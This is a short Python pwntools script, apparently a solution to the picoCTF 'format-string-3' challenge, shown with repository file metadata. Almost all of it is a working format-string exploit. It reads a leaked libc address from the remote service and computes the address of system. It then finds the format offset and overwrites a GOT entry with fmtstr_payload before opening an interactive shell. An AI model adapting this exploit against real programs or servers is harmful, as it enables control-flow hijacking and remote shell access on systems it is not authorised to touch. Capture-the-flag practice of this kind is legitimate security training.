41 lines
958 B
Python
Executable File
41 lines
958 B
Python
Executable File
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
context.arch = "amd64"
|
|
|
|
elf = ELF("libc.so.6")
|
|
|
|
#conn = process(["./format-string-3_patched"])
|
|
address = "rhea.picoctf.net"
|
|
port = 65145
|
|
conn = remote(address, port)
|
|
|
|
conn.recvuntil(b"libc: ")
|
|
setvbuf_base = int(conn.recvline(), 16)
|
|
log.info(f"setvbuf base: {hex(setvbuf_base)}")
|
|
libc_base = setvbuf_base - elf.symbols["setvbuf"]
|
|
log.info(f"libc base: {hex(libc_base)}")
|
|
system_base = libc_base + elf.symbols["system"]
|
|
log.info(f"evecve base: {hex(system_base)}")
|
|
|
|
def discover_offset(payload):
|
|
log.debug(payload)
|
|
#c = process(["./format-string-3_patched"])
|
|
c = remote(address, port)
|
|
c.recvlines(2)
|
|
c.sendline(payload)
|
|
res = c.recvall()
|
|
log.debug(res)
|
|
return res
|
|
|
|
fmt = FmtStr(discover_offset)
|
|
offset = fmt.offset
|
|
|
|
payload = fmtstr_payload(offset, {0x404018: system_base})
|
|
with open("payload", "wb") as f:
|
|
f.write(payload)
|
|
f.close()
|
|
conn.sendline(payload)
|
|
conn.interactive()
|
|
|